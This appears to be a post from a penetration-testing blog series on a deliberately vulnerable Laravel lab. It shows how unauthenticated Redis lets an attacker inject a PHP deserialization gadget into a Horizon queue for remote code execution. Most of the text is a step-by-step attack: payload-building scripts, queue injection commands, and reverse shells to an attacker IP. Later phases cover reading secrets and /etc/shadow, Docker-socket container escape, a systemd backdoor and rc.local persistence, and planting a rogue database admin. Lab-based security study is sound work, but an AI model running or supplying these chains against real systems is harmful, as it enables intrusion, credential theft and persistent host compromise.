CWE-306 · CWE-502 · OWASP A05:2021 · Security Misconfiguration

Before you start, pull the latest code

This post references a codebase update that landed recently. Make sure you're on the latest commit before running anything here:

git pull origin main
ArtisanBreach's Redis service has no password set for the built-in default ACL user, and that user has unrestricted command and key access (on nopass sanitize-payload ~* &* +@all). The dvla-horizon worker runs php artisan horizon, continuously polling the queue list (namespaced by Laravel's Redis prefix as artisanbreach_database_queues:default) and calling unserialize() on the data.command field of every job it picks up. The standard Redis queue payload doesn't provide an application-level authenticity mechanism that prevents a client with write access to the queue from supplying its own data.command. An attacker who can reach Redis and write to that queue can therefore push a JSON payload containing a phpggc gadget chain as the command field. Whether that becomes code execution depends on a chain of preconditions: unauthenticated Redis write access, a Horizon worker consuming that queue, PHP deserialization of the payload, and a gadget chain compatible with the worker's exact dependency tree. The Horizon container also has the host docker.sock mounted, so if the worker process can access it, the resulting RCE can be escalated to Docker-host administrative control (Post 11).

Target Environment: Laravel 12.x with Horizon 5.x on Redis 7.x, a deliberately vulnerable lab. Laravel 12 itself is not the vulnerability.

Where This Sits in the Kill Chain

This is the second independent RCE path in ArtisanBreach LLC and the one that doesn't require any application access at all. The earlier posts in this series all required either a leaked APP_KEY, admin credentials, or another application-level entry point. In this deployment, an attacker with network access to Redis can inject a queue job without interacting with the application's HTTP layer, and a compatible gadget chain can turn that into worker-level RCE.

Vulnerability Classification

CWE (Redis) CWE-306: Missing Authentication for Critical Function, Redis accepts all connections without credentials
CWE (deserialization) CWE-502: Deserialization of Untrusted Data, queue worker calls unserialize() on attacker-controlled queue payloads
Primary infrastructure finding CWE-306 is the primary finding: it's what lets an attacker reach the queue in the first place. CWE-502 describes a later stage of the chain, what happens once an attacker-controlled payload reaches unserialize(). The two CWEs describe different stages of the same attack and should be read together, not interchangeably.
OWASP Top 10 A05:2021 Security Misconfiguration is the strongest classification for the exposed Redis configuration. A08:2021 Software and Data Integrity Failures is a reasonable secondary reference for the deserialization stage, but OWASP does not provide a one-to-one mapping for this exact queue-injection chain. The CWE classifications above are more precise.
Authentication required None in this lab. The full precondition chain is: network reachability to Redis, no Redis authentication/authorization, a Horizon worker consuming the queue, and a gadget chain compatible with the worker's dependency tree.
Laravel Version Laravel 12.x Horizon 5.x
Historical precedent Internet-exposed Redis instances have repeatedly been targeted in large-scale campaigns involving cryptomining, data theft, and persistence, historically through configuration/filesystem abuse such as writing cron jobs or SSH keys. That classic technique is distinct from what this post demonstrates: malicious Laravel queue injection that drives unserialize() in the Horizon worker.

Redis With No Door

ArtisanBreach's Redis service has no password configured for the built-in default ACL user. It is reachable over the internal dvla-net Docker network (not from the host), but any client already on that network (a compromised app container, or the SSRF path from Post 9) can connect and issue commands without credentials:

docker-compose-local.yml
dvla-redis:
    image: redis:7-alpine
    container_name: dvla-redis
    restart: unless-stopped
    # INTENTIONAL: no --requirepass and no ACL restrictions on the default user
    # No host port mapping: reachable over the internal dvla-net only
    networks:
      - dvla-net
The misconfiguration: an unauthenticated, unrestricted default user Redis 6+ authenticates and authorizes clients through ACLs. Every Redis instance has a built-in default user; requirepass sets a password on that user (legacy mechanism), while modern deployments add explicit ACL users with per-command and per-key restrictions. This lab sets neither, so the default user is on nopass sanitize-payload ~* &* +@all, which means every command on every key, no password. (sanitize-payload is a Redis 7.2+ memory-hardening flag that has nothing to do with authentication; the flags that actually matter here are nopass, ~*, and +@all.) That's the whole door.
Why reachability matters There is no ports: mapping, so Redis is not published on the host. The risk is not "anyone on the internet can hit port 6379". It's that the app and Horizon containers share the internal dvla-net bridge with Redis, and an attacker who obtains any foothold there (for example the SSRF in Post 9, which reaches dvla-redis:6379 directly) gains the same write access as the application itself.

Confirm it from the Docker host. redis-cli is installed only inside the dvla-redis container (Redis has no host port and the app containers don't ship the CLI), so reach it with docker exec:

# redis-cli lives only in the Redis container; wrap it in docker exec:
docker exec dvla-redis redis-cli ping
# PONG

docker exec dvla-redis redis-cli info server | grep redis_version
# redis_version:7.4.9

docker exec dvla-redis redis-cli CONFIG GET requirepass
# 1) "requirepass"
# 2) ""    <- empty string: no password configured

# Redis 6+ authenticates through ACLs. The default user has no password and
# unrestricted command/key access:
docker exec dvla-redis redis-cli ACL LIST
# user default on nopass sanitize-payload ~* &* +@all

How Horizon Processes Jobs

The dvla-horizon container runs one process: php artisan horizon. Horizon supervises a pool of queue workers. Each worker pops the next job off the queue list with LPOP, and while idle blocks on a BLPOP against the queue's :notify list until a producer signals that a job is available.

docker-compose-local.yml
dvla-horizon:
    command: php artisan horizon
    volumes:
      - ./:/var/www
      - /var/run/docker.sock:/var/run/docker.sock  # INTENTIONAL: worker also has socket (Post 11)
    networks:
      - dvla-net

When a job is dispatched normally through Laravel, for example, when someone submits the contact form at /contact, the framework serializes the job class, stores it as a JSON payload in a Redis list using RPUSH, and pushes a notification to the matching :notify list. The list name is not the bare queues:default. Laravel's Redis connection applies a key prefix (the REDIS_PREFIX option, defaulting to <app-name-slug>_database_), so the actual key is artisanbreach_database_queues:<queue>. The Horizon supervisor here is configured with queue => ['default', 'emails'], so both artisanbreach_database_queues:default and artisanbreach_database_queues:emails are consumed. (The contact form job, NotifyNewContact, is dispatched to the emails queue unless APP_ENV=docker, in which case it uses default.)

# Peek at the live queue (note the artisanbreach_database_ prefix)
docker exec dvla-redis redis-cli LRANGE artisanbreach_database_queues:default 0 0 | python3 -m json.tool
{
    "uuid": "d4e5f6a7-...",
    "displayName": "App\\Jobs\\NotifyNewContact",
    "job": "Illuminate\\Queue\\CallQueuedHandler@call",
    "maxTries": null,
    "maxExceptions": null,
    "failOnTimeout": false,
    "backoff": null,
    "timeout": null,
    "retryUntil": null,
    "createdAt": 1787700000,
    "id": "X4f2kQz...32-char random string",
    "attempts": 0,
    "data": {
        "commandName": "App\\Jobs\\NotifyNewContact",
        "command": "O:26:\"App\\Jobs\\NotifyNewContact\":3:{s:12:\"contact_data\";a:4:...}",
        "batchId": null
    }
}

The data.command field is a raw PHP-serialized string of the job object. When Horizon pulls this job, Illuminate\Queue\CallQueuedHandler::call() runs this code path:

// Illuminate/Queue/CallQueuedHandler.php (simplified)
protected function getCommand(array $data)
{
    if (str_starts_with($data['command'], 'O:')) {
        return unserialize($data['command']);   // attacker controls this value
    }
    // ...
}

The standard Redis queue payload doesn't provide an application-level authenticity mechanism that prevents a client with write access to the queue from supplying its own data.command. The queue is a shared data store, and whoever can write to it controls what the worker deserializes next.

The queue data source is the trust boundary. Laravel's queue worker reconstructs jobs with unserialize(). That is not inherently a vulnerability. It becomes dangerous only when the queue is writable by an untrusted client, because the serialized command value is then attacker-controlled. So the fix is to protect the queue (network isolation, Redis authorization), not to assume the queue serialization itself is "unsafe by default."

PHP Deserialization via the Queue

Post 2 covered the APP_KEY deserialization path: forge an encrypted cookie, EncryptCookies middleware decrypts it, calls unserialize(), gadget chain fires. That attack requires knowing APP_KEY.

This attack is different and simpler. The queue worker calls unserialize() on data pulled from Redis. An attacker who can write to Redis supplies their own serialized command without going through the application's job-dispatch path at all. There is no application secret involved. The trust model here is: "if it's in the queue, the application put it there." That assumption breaks the moment Redis is writable by an untrusted client.

flowchart LR subgraph POST1 ["Post 2 path (needs APP_KEY)"] direction TB P1A["Attacker crafts payload"] --> P1B["Encrypt with APP_KEY\n(HMAC-SHA256)"] P1B --> P1C["Send as HTTP cookie"] P1C --> P1D["EncryptCookies verifies MAC\nunserialize() fires"] end subgraph POST10 ["Post 10 path (no key needed)"] direction TB P10A["Attacker crafts payload"] --> P10B["Write directly to Redis\nno auth, no signature"] P10B --> P10C["Horizon worker reads job\nunserialize() fires"] end style P1B fill:#6c757d,color:#fff,stroke:#6c757d style P10B fill:#dc3545,color:#fff,stroke:#dc3545

The gadget chain mechanics are the same as Post 2. The delivery mechanism is completely different and requires no knowledge of any application secret.

Complete Attack Walkthrough: 10 Phases to Full Compromise

This section walks the end-to-end chain against this lab's environment. The steps are ordered so each phase's precondition is met before it runs, and each gadget step is verified against the actual installed dependency versions rather than assumed from the Laravel major version.

Phase 1: Reach Redis and Confirm It Accepts Commands

Redis is not published on the host, so there's nothing to scan for from the outside. The attacker reaches it from inside dvla-net, via the SSRF in Post 9 (http://dvla-redis:6379/) or from any compromised container on the same network. From such a position, enumerate and confirm:

How these commands are actually run in this lab redis-cli is installed only inside the dvla-redis container, and Redis has no host port, so the app containers can't run the CLI directly. Throughout this walkthrough the Redis commands are therefore run from the Docker host as docker exec dvla-redis redis-cli. An attacker inside a compromised container would instead drive Redis with PHP predis (installed in the app) or a raw socket; redis-cli is used here purely for readable output. The commands and results are identical either way.
# 1. Is it reachable and unauthenticated?
docker exec dvla-redis redis-cli ping
# PONG   (no authentication required)

# 2. What version is running?
docker exec dvla-redis redis-cli info server | grep redis_version
# redis_version:7.4.9

# 3. Is the default ACL user password-protected or restricted?
docker exec dvla-redis redis-cli CONFIG GET requirepass
# 1) "requirepass"
# 2) ""          <- empty: no default password

docker exec dvla-redis redis-cli ACL LIST
# user default on nopass sanitize-payload ~* &* +@all
#              ^^^^^^ no password, ~* all keys, +@all every command

# 4. Find the queue keys (Laravel prefixes them; SCAN for "*queue*", not KEYS).
#    Note: the queue *list* key only exists while a job is pending (Redis deletes
#    empty lists), so at rest you only see the always-on artisanbreach_horizon:* keys.
docker exec dvla-redis redis-cli SCAN 0 MATCH "*queue*" COUNT 100
# 1) "0"
# 2) 1) "artisanbreach_horizon:measured_queues"
#    2) "artisanbreach_horizon:queue:default"

# 5. The queue list key is deterministic: prefix + "queues:". It appears the
#    moment Phase 4 RPUSHes a job; TYPE/LRANGE then confirm its shape:
QUEUE_KEY="artisanbreach_database_queues:default"
docker exec dvla-redis redis-cli TYPE "$QUEUE_KEY"
# none   (until a job is queued; then: list)

docker exec dvla-redis redis-cli LRANGE "$QUEUE_KEY" 0 0 | python3 -m json.tool

Phase 2: Select a Gadget Chain That Matches the Installed Dependencies

The big rule here: don't pick a PHPGGC chain from the Laravel major version. A PHPGGC chain fires only if the classes it targets exist in the worker's installed dependency tree with the exact class/property layout the chain expects. Laravel 12 doesn't imply any particular chain, and a queue delivery mechanism doesn't determine which chain works. Match the chain against the exact composer.lock dependency tree, then test it.

In this lab, the relevant versions are:

Package Installed version (this lab)
laravel/frameworkv12.54.1
laravel/horizonv5.47.2
monolog/monolog3.10.0
league/commonmark2.8.1

The relevant question for a gadget is not "is Monolog in every Laravel install". It's whether the classes a given chain requires are present in the worker's dependency tree. Composer's autoloader can resolve classes on demand during deserialization, so a class does not need to have been instantiated beforehand.

# Install phpggc and remember its location
git clone https://github.com/ambionics/phpggc.git ~/phpggc
cd ~/phpggc && composer install && cd ~
PHPGGC="$HOME/phpggc/phpggc"    # full path; used by every phase below

# Enumerate ALL chains (not just Laravel/...). A Laravel 12 app ships many
# libraries, and the usable chains are the ones targeting its dependencies:
php "$PHPGGC" -l
Read the version column, including the trailing + php "$PHPGGC" -l Laravel shows the Laravel/RCE* chains target Laravel framework classes with bounds that top out around v11.34.2 (the newest is Laravel/RCE22, labelled v10.0.0 ≤ v11.34.2+). The trailing + indicates the author only tested up to that version and suspects it keeps working on newer releases. It's not a guarantee. Verify against the actual dependency tree, as below. Look beyond the Laravel/* namespace too: chains for Monolog, Symfony, Guzzle, etc. target the libraries Laravel 12 actually depends on.
# Inspect a candidate chain to see its version range and vector:
php "$PHPGGC" -i Monolog/RCE8
# Name    : Monolog/RCE8
# Version : 3.0.0 <= 3.1.0+
# Type    : RCE: Function Call
# Vector  : __destruct

# The lab ships Monolog 3.10.0. Monolog/RCE8 and Monolog/RCE9 declare
# "3.0.0 <= 3.1.0+"; the "+" says they may keep firing on newer 3.x releases.
Prove the chain fires, twice A chain that does not match the installed versions typically unserializes without error but never triggers its payload. phpggc's built-in --test-payload deserializes against the current vendor/autoload.php and exits 0 on success. But that test runs in a short-lived process where destructors fire at script end. It's necessary but not sufficient for the long-running queue worker. Verify again with the live worker in Phase 4/10.
# Quick test against the worker's vendor tree (run from the worker's app dir):
cd /var/www
php "$PHPGGC" Monolog/RCE8 --test-payload 2>/dev/null
# Trying to deserialize payload...
# SUCCESS: Payload triggered !          (exit 0)

# Generate the plain serialized payload. Do NOT pass -f / --fast-destruct here:
# it wraps the payload in an array ("a:2:{...}") so it no longer starts with "O:",
# and CallQueuedHandler::getCommand() only unserializes strings that start with "O:"
# (anything else it feeds to the Encrypter, which throws "The payload is invalid").
# phpggc prints harmless "dynamic property" deprecation notices to stderr on PHP 8.2+;
# 2>/dev/null keeps the terminal clean while the payload still writes correctly.
php "$PHPGGC" Monolog/RCE8 system 'id' -o gadget.bin 2>/dev/null

# Verified against this lab's LIVE Horizon worker:
#   Monolog/RCE8   -> fires ~4s   (Monolog 3.10.0)   <- PRIMARY chain: every
#                     `-o gadget.bin` command in Phases 3-5 and 10 uses this one.
#                     Its phpggc label "3.0.0 <= 3.1.0+" also tops out below the
#                     installed 3.10.0, so it too fires past its documented range.
#   Laravel/RCE22  -> fires ~3s   (Laravel 12.54.1)  <- secondary, listed for
#                     completeness. Its phpggc label is "v10.0.0 <= v11.34.2+", which
#                     means whoever wrote the RCE22 gadget only claims to have tested
#                     it through Laravel 11, not that it stops working there. It fires
#                     on this lab's Laravel 12.54.1 anyway, a verified out-of-range
#                     fire, exactly what the trailing "+" predicts, not a contradiction.
#   Monolog/RCE9   -> does NOT fire promptly in the worker (self-referential
#                     cycle defers __destruct to GC) despite --test-payload SUCCESS.
# The Laravel/RCE11 and Laravel/RCE12 chains are NOT used here: they are Laravel
# 5-9 era chains (Faker/Symfony Mime, and Monolog's RollbarHandler respectively),
# and RCE12 additionally depends on the rollbar/rollbar package this lab does not
# ship. The working "Monolog" chain is Monolog/RCE8 above, not Laravel/RCE12.
# The job appears as "FAIL" in Horizon logs because the unserialized object is not
# a real Job, but the __destruct already executed our command.
Why -f and -p are not used here phpggc's -f (fast-destruct) wraps the payload so it no longer starts with O:; the queue's getCommand() then routes it to the Encrypter instead of unserialize() and fails. -p is --phar (build a PHAR), unrelated to queue delivery. Use the plain O:-prefixed payload and rely on a chain whose __destruct fires promptly. A chain that does not fire does not invalidate the underlying queue-injection finding.

Phase 3: Build the Queue Payload

The queue item is a JSON document. The field that matters is data.command, which the worker passes directly to unserialize(). The structure Laravel expects looks like this:

{
    "uuid": "1b9d6bcd-bbfd-4b2d-9b5d-ab8dfbbd4bed",
    "displayName": "App\\Jobs\\DemoJob",
    "job": "Illuminate\\Queue\\CallQueuedHandler@call",
    "maxTries": null,
    "maxExceptions": null,
    "failOnTimeout": false,
    "backoff": null,
    "timeout": null,
    "retryUntil": null,
    "createdAt": 1787700000,
    "id": "X4f2kQz9Lm8a...32-char random string",
    "attempts": 0,
    "data": {
        "commandName": "App\\Jobs\\DemoJob",
        "command": "",
        "batchId": null
    }
}

Every field matters. The Redis worker's pop Lua script reads attempts and increments it, so a payload without attempts (and the matching id/createdAt) makes the script throw and the job is dropped before it is ever deserialized. The serialized gadget must also survive JSON encoding/decoding byte-for-byte, so build the document with PHP's json_encode, exactly as Laravel does:

# Write the builder with PHP so json_encode handles the serialized bytes the same
# way Laravel's own dispatcher does:
cat > build_payload.php << 'PHP'
<?php
require "vendor/autoload.php";

$command = file_get_contents("gadget.bin");   // raw serialized bytes from phpggc

$payload = json_encode([
    "uuid"          => (string) Illuminate\Support\Str::uuid(),
    "displayName"   => "App\\Jobs\\DemoJob",
    "job"           => "Illuminate\\Queue\\CallQueuedHandler@call",
    "maxTries"      => null,
    "maxExceptions" => null,
    "failOnTimeout" => false,
    "backoff"       => null,
    "timeout"       => null,
    "retryUntil"    => null,
    "createdAt"     => Illuminate\Support\Carbon::now()->getTimestamp(),
    "id"            => Illuminate\Support\Str::random(32),
    "attempts"      => 0,
    "data"          => [
        "commandName" => "App\\Jobs\\DemoJob",
        "command"     => $command,
        "batchId"     => null,
    ],
]);

echo $payload;
PHP

# The builder writes the JSON to stdout; redirect it to final_payload.json:
php build_payload.php > final_payload.json

# Sanity-check the round trip: decode the JSON, unserialize the command, and confirm
# the gadget still fires (this proves the transport preserved the bytes unchanged).
php -r '
require "vendor/autoload.php";
$data = json_decode(file_get_contents("final_payload.json"), true);
echo "command bytes: ", strlen($data["data"]["command"]), " (must match gadget.bin)\n";
@unserialize($data["data"]["command"]);
// "uid=..." should print if the transport preserved the payload byte-for-byte.
'
Why build it with PHP rather than hand-assembling JSON PHP's json_encode is the encoder Laravel itself relies on, so it produces a document that the worker's json_decode reverses faithfully. Hand-assembling JSON (or decoding raw bytes as latin-1 and re-encoding) risks corrupting bytes ≥ 0x80. Whatever method you use, verify the decoded bytes round-trip unchanged before relying on the proof of concept.

Phase 4: Inject the Job into the Queue

Laravel's producer pushes jobs with RPUSH (right side) and signals workers by also pushing to the matching :notify list; workers consume from the opposite side with LPOP. Redis list direction matters, so mirror the producer's behavior:

# Use the prefixed key discovered in Phase 1 (NOT the bare "queues:default"):
QUEUE_KEY="artisanbreach_database_queues:default"
NOTIFY_KEY="$QUEUE_KEY:notify"

# Push the payload onto the queue, exactly as Laravel's own dispatcher does
# (RPUSH to the list + RPUSH "1" to the :notify list; see RedisQueue::pushRaw()).
docker exec dvla-redis redis-cli RPUSH "$QUEUE_KEY" "$(cat final_payload.json)"
# Expected output: (integer) 1

docker exec dvla-redis redis-cli RPUSH "$NOTIFY_KEY" 1

# Verify the job is queued
docker exec dvla-redis redis-cli LRANGE "$QUEUE_KEY" 0 0 | python3 -m json.tool

# Watch Horizon logs for execution
docker logs dvla-horizon --tail=50 -f

# Confirm the injected command ran. The output reflects the Horizon worker's identity:
docker logs dvla-horizon | grep "uid="
# uid=1000(admin) gid=1000(admin) groups=1000(admin),0(root),33(www-data)
# (the worker runs as whatever user the container image sets, NOT root in this lab)
RCE runs with the Horizon worker's privileges, and the job shows as FAIL The gadget executes as the OS user running php artisan horizon (in this lab admin, uid 1000, not root). Expect Horizon to log the job as FAIL rather than DONE: the unserialized object is a gadget, not a real Job, so CallQueuedHandler can't dispatch it, but the __destruct already ran your command by that point. Don't mistake the FAIL status for a failed exploit.

Phase 5: Advanced Payloads & Reverse Shell

Once the chain is confirmed, reuse it for richer payloads. Substitute the chain you verified in Phase 2, and re-run build_payload.php for each command.

Know what the target container actually has installed This lab's Horizon worker runs in a minimal php:8.3-fpm image. The following are present and usable for the payloads below: bash (with /dev/tcp), curl, git, grep, chmod, mount, df, php (with pdo_mysql), and useradd (root only). The following are absent, so payloads built on them fail: python3, nc/netcat, wget, mysql/mysqldump (CLI), netstat, ip, ps, and ping. The reliable reverse shell in this lab is the bash /dev/tcp method (#1); the python3/nc variants below are shown for completeness but do not fire in this container.
CHAIN="Monolog/RCE8"     # verified to fire in the live worker (see Phase 2)
QUEUE_KEY="artisanbreach_database_queues:default"
NOTIFY_KEY="$QUEUE_KEY:notify"
ATTACKER_IP="10.0.0.1"
ATTACKER_PORT="4444"

# 1. Simple reverse shell
php "$PHPGGC" $CHAIN system "bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'" -o gadget.bin 2>/dev/null
php build_payload.php > final_payload.json
docker exec dvla-redis redis-cli RPUSH "$QUEUE_KEY" "$(cat final_payload.json)"
docker exec dvla-redis redis-cli RPUSH "$NOTIFY_KEY" 1

# Start listener
nc -lvnp $ATTACKER_PORT

# 2. Python reverse shell, NOTE: python3 is NOT installed in this lab's container,
#    so this variant fails here. Shown for completeness only.
php "$PHPGGC" $CHAIN system "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ATTACKER_IP\",$ATTACKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'" -o gadget.bin 2>/dev/null

# 3. Bind shell, NOTE: nc is NOT installed in this lab's container, so this fails here.
php "$PHPGGC" $CHAIN system "bash -c 'nc -lvp 4444 -e /bin/bash'" -o gadget.bin 2>/dev/null

# 4. Web shell upload via curl (wget is not installed in this lab; curl is).
#    IMPORTANT: nginx hardcodes SCRIPT_FILENAME to public/index.php, so a PHP file
#    dropped under public/ is NOT executed over HTTP, see the note below.
php "$PHPGGC" $CHAIN system "curl -s http://$ATTACKER_IP/shell.php -o /var/www/public/shell.php" -o gadget.bin 2>/dev/null

# 5. Multiple commands in sequence
php "$PHPGGC" $CHAIN system "bash -c 'curl -s http://$ATTACKER_IP/shell.php -o /var/www/public/shell.php && chmod 644 /var/www/public/shell.php'" -o gadget.bin 2>/dev/null

# 6. SSH key persistence, /home/admin/.ssh does not exist by default; create it first
php "$PHPGGC" $CHAIN system "bash -c 'mkdir -p /home/admin/.ssh && echo \"$SSH_KEY\" >> /home/admin/.ssh/authorized_keys'" -o gadget.bin 2>/dev/null

# 7. Create a user (requires privileges the worker does NOT have: admin is non-root)
php "$PHPGGC" $CHAIN system "useradd -m -s /bin/bash attacker && echo 'attacker:password123' | chpasswd" -o gadget.bin 2>/dev/null
A dropped PHP file under public/ is not a working web shell here. This lab's Nginx config routes every .php request to fastcgi_param SCRIPT_FILENAME $document_root/public/index.php, a hardcoded path. Any .php file you drop under public/ (e.g. public/shell.php or public/backdoor.php) is ignored; the request still executes Laravel's front controller and 404s. The volume-mounted application directory is still useful, but a PHP file there is reached via CLI from inside the container (as shown in "The docker.sock Connection"), not via HTTP. To get HTTP-executable code you would need a file served as static (non-PHP) content or a change to the Nginx configuration.

Phase 6: Post-Exploitation - Container Access

Once you have a shell in the Horizon container:

# Inside Horizon container (via reverse shell)

# Who am I? (the Horizon worker's OS user, NOT root in this lab)
whoami
# admin

# Current directory
pwd
# /var/www

# Read application secrets
cat .env
# APP_KEY=base64:mJjSMd3892ZHO43QS7TJJj7VTs9P0+9IyWZ9+r/shwk=
# DB_PASSWORD=secret123
# REDIS_PASSWORD= (empty)

# Read Laravel configuration
cat config/database.php

# List all files in application
ls -la

# Check for other mounted volumes (both available in this container)
df -h
mount

# Check network configuration, NOTE: `ip` and `netstat` are NOT in this minimal
# image. The volume/process/network visibility below is what the shell gives you.
# (To enumerate sockets/processes you would need to `apt-get install` first, which
#  the non-root worker cannot do.)
ip addr            # not present in this lab
netstat -tulpn     # not present in this lab

# List running processes
ps aux             # not present in this lab

# Check for other containers on the network, `ping` is NOT present either.
# Names still resolve via Docker's embedded DNS; test reachability with a TCP
# connection instead (curl to known ports, or PHP streams).
ping dvla-db       # not present in this lab
curl -s http://dvla-nginx   # reachability check that DOES work (curl is present)

# Extract database credentials and connect, the mysql CLI is NOT installed, but
# PHP's pdo_mysql extension IS, so connect through PHP:
php -r 'new PDO("mysql:host=dvla-db;dbname=dvla", "dvla", "secret123"); echo "connected\n";'
php -r '$p=new PDO("mysql:host=dvla-db", "root", "secret123"); foreach($p->query("SHOW DATABASES") as $r) echo $r[0],"\n";'

# Dump the database, mysqldump is NOT installed; approximate a dump via PHP or
# copy the MySQL data directory from the mounted volume after escaping (Post 11).
# mysqldump -h dvla-db -u root -psecret123 --all-databases > /tmp/dump.sql

# Check the application code for secrets
grep -r "password" /var/www --include="*.php" --include="*.env"

# Look for API keys and tokens
grep -r "API_KEY" /var/www --include="*.php"
grep -r "SECRET" /var/www --include="*.php"

# Check for SSH keys under the worker's own home directory
ls -la /home/admin/.ssh/
What the worker identity changes Because the worker is admin (uid 1000), not root, persistence steps such as writing /etc/crontab or creating users require privileges this shell does not have. Post-exploitation pivots that work at this stage are reads of the volume-mounted application (including .env) and network access to sibling containers, not host-level writes.

Phase 7: Docker Socket Exploitation - Container Escape

This step is conditional on socket access. The Horizon container has the host Docker daemon socket mounted (/var/run/docker.sock), but mounted ≠ accessible. Container-level RCE escalates to Docker-host administrative control only if the worker process can actually read/write the socket. That depends on the worker's uid/gid versus the socket's ownership and permissions. In this lab the socket is srw-rw---- root:986 and the worker runs as admin (uid 1000), which is not in group 986, so the worker cannot use the socket, and this escape only works from a root context such as the dvla-admin container (which runs as root and can read the socket). Verify access before assuming the escape is possible.
# Verify Docker socket access first
ls -la /var/run/docker.sock
# srw-rw---- 1 root 986    <- 986 is the host "docker" group gid; the container has
#                             no such group, so it renders numerically. The worker
#                             (admin, uid 1000) is NOT in it: no read/write here.

# Test Docker API connectivity (this is the access gate). From the non-root worker
# this returns nothing (permission denied at socket open); from dvla-admin (root)
# it returns the engine JSON:
curl -s --unix-socket /var/run/docker.sock http://localhost/version
# {"Version": "...", "ApiVersion": "...", ...}   <- socket is usable if this returns

# List all containers via API
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool

If the version check above fails with a permission error, the worker cannot use the socket and this escape path does not apply to that process. If it succeeds, the following methods escalate to host control:

# Method 1: Spawn a privileged container that mounts the host filesystem
cat > escape.json << 'EOF'
{
  "Image": "alpine:latest",
  "Cmd": ["/bin/sh", "-c", "tail -f /dev/null"],
  "HostConfig": {
    "Privileged": true,
    "Binds": ["/:/host"],
    "NetworkMode": "host"
  },
  "AttachStdout": true,
  "AttachStderr": true
}
EOF

# Creating the container is the host-control step. It does not by itself drop you
# into a host shell. You still have to exec into it and chroot to the mounted host root.
curl -X POST -H "Content-Type: application/json" \
  --unix-socket /var/run/docker.sock \
  http://localhost/containers/create?name=escape_container \
  -d @escape.json

curl -X POST --unix-socket /var/run/docker.sock \
  http://localhost/containers/escape_container/start

# Now actually enter the host filesystem. Only after this succeeds do you have a
# host root shell.
docker exec -it escape_container chroot /host /bin/bash
# whoami -> root  (now genuinely on the host)

Two alternative methods achieve the same host-level access:

# Method 2: Run a container with host networking (for a direct reverse shell)
cat > revshell_escape.json << 'EOF'
{
  "Image": "alpine:latest",
  "Cmd": ["/bin/sh", "-c", "nc -e /bin/bash 10.0.0.1 5555"],
  "HostConfig": {
    "NetworkMode": "host",
    "Privileged": true
  },
  "AttachStdout": true,
  "AttachStderr": true
}
EOF

curl -X POST -H "Content-Type: application/json" \
  --unix-socket /var/run/docker.sock \
  http://localhost/containers/create?name=revshell_escape \
  -d @revshell_escape.json

curl -X POST --unix-socket /var/run/docker.sock \
  http://localhost/containers/revshell_escape/start

# Method 3: Mount the host's Docker socket inside a new container
cat > docker_socket_escape.json << 'EOF'
{
  "Image": "docker:latest",
  "Cmd": ["/bin/sh", "-c", "docker run -v /:/host --privileged alpine chroot /host /bin/bash"],
  "HostConfig": {
    "Binds": ["/var/run/docker.sock:/var/run/docker.sock"],
    "Privileged": true
  }
}
EOF

Phase 8: Full Host Compromise

# Now on the host system (via docker escape)

# Confirm host access
cat /etc/hostname
whoami
# root

# Dump host information
cat /etc/os-release
uname -a
cat /proc/cpuinfo

# Extract SSH keys
cat /root/.ssh/id_rsa
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/id_rsa

# Dump system passwords
cat /etc/passwd
cat /etc/shadow

# Extract credentials from running processes
ps aux | grep -E "(password|secret|key)"

# Find sensitive files
find / -name "*.env" -type f 2>/dev/null
find / -name "*.pem" -type f 2>/dev/null
find / -name "*.key" -type f 2>/dev/null

# Check for cloud credentials
find / -name "*aws*" -type f 2>/dev/null
find / -name "*gcp*" -type f 2>/dev/null
find / -name "*azure*" -type f 2>/dev/null

# Establish persistence on host
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." >> /root/.ssh/authorized_keys

# Set up persistent backdoor
cat > /etc/systemd/system/backdoor.service << 'SERVICE'
[Unit]
Description=Backdoor Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c "nc -e /bin/bash 10.0.0.1 4444"
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
SERVICE

systemctl enable backdoor.service
systemctl start backdoor.service

# Alternative: /etc/rc.local
echo "nc -e /bin/bash 10.0.0.1 4444 &" >> /etc/rc.local
chmod +x /etc/rc.local

Phase 9: Lateral Movement

# From host, attack other containers

# Access the admin container
docker exec -it dvla-admin /bin/bash

# Extract more secrets
docker exec dvla-admin cat /var/www/.env

# Access the database directly from host
mysql -h 127.0.0.1 -u root -psecret123

# Dump all databases
mysqldump -h 127.0.0.1 -u root -psecret123 --all-databases > /tmp/full_dump.sql

# Extract Horizon secrets
docker exec dvla-horizon cat /var/www/.env

# Check for mounted volumes on all containers
docker inspect $(docker ps -q) | grep -A 10 Mounts

# Find network information
docker network inspect dvla-net

# Check for other containers on different networks
docker network ls
docker network inspect $(docker network ls -q)

# Redis is internal-only; reach it from the host via the container
docker exec dvla-redis redis-cli SCAN 0 MATCH "*queue*" COUNT 100

# Modify database to create admin user
mysql -h 127.0.0.1 -u root -psecret123 -e "INSERT INTO users (name, email, password, is_admin) VALUES ('attacker', 'attacker@example.com', MD5('password'), 1);"

# Backdoor the application, NOTE: as in Phase 5, nginx hardcodes SCRIPT_FILENAME to
# public/index.php, so this .php file won't execute over HTTP. From the host you can
# instead patch the nginx config (docker-compose/nginx/*.conf, volume-mounted) or drop
# a static (non-PHP) payload. Shown for completeness.
echo '' > /var/www/public/backdoor.php

# Install a file manager (same HTTP caveat as above)
wget http://10.0.0.1/filemanager.php -O /var/www/public/filemanager.php

Phase 10: Automated Proof of Execution

A minimal script that injects a benign job and confirms it executes in the worker. It runs on the Docker host (it needs the Docker CLI/socket) and reaches Redis via docker exec because Redis has no host port. Run it from the app directory so build_payload.php can load vendor/autoload.php. This script is not self-contained: it assumes build_payload.php already exists (created in Phase 3) and that phpggc can write gadget.bin into the current directory before build_payload.php reads it back. The $MARKER path is a path inside the Horizon container, so the poll loop checks it via docker exec dvla-horizon, not on the host filesystem.

#!/bin/bash
# redis_inject.sh runs on the Docker host, from the app directory.

PHPGGC="$HOME/phpggc/phpggc"                       # full path from Phase 2
CHAIN="Monolog/RCE8"                                # chain verified to fire in the worker
QUEUE_KEY="artisanbreach_database_queues:default"   # prefixed key (Phase 1)
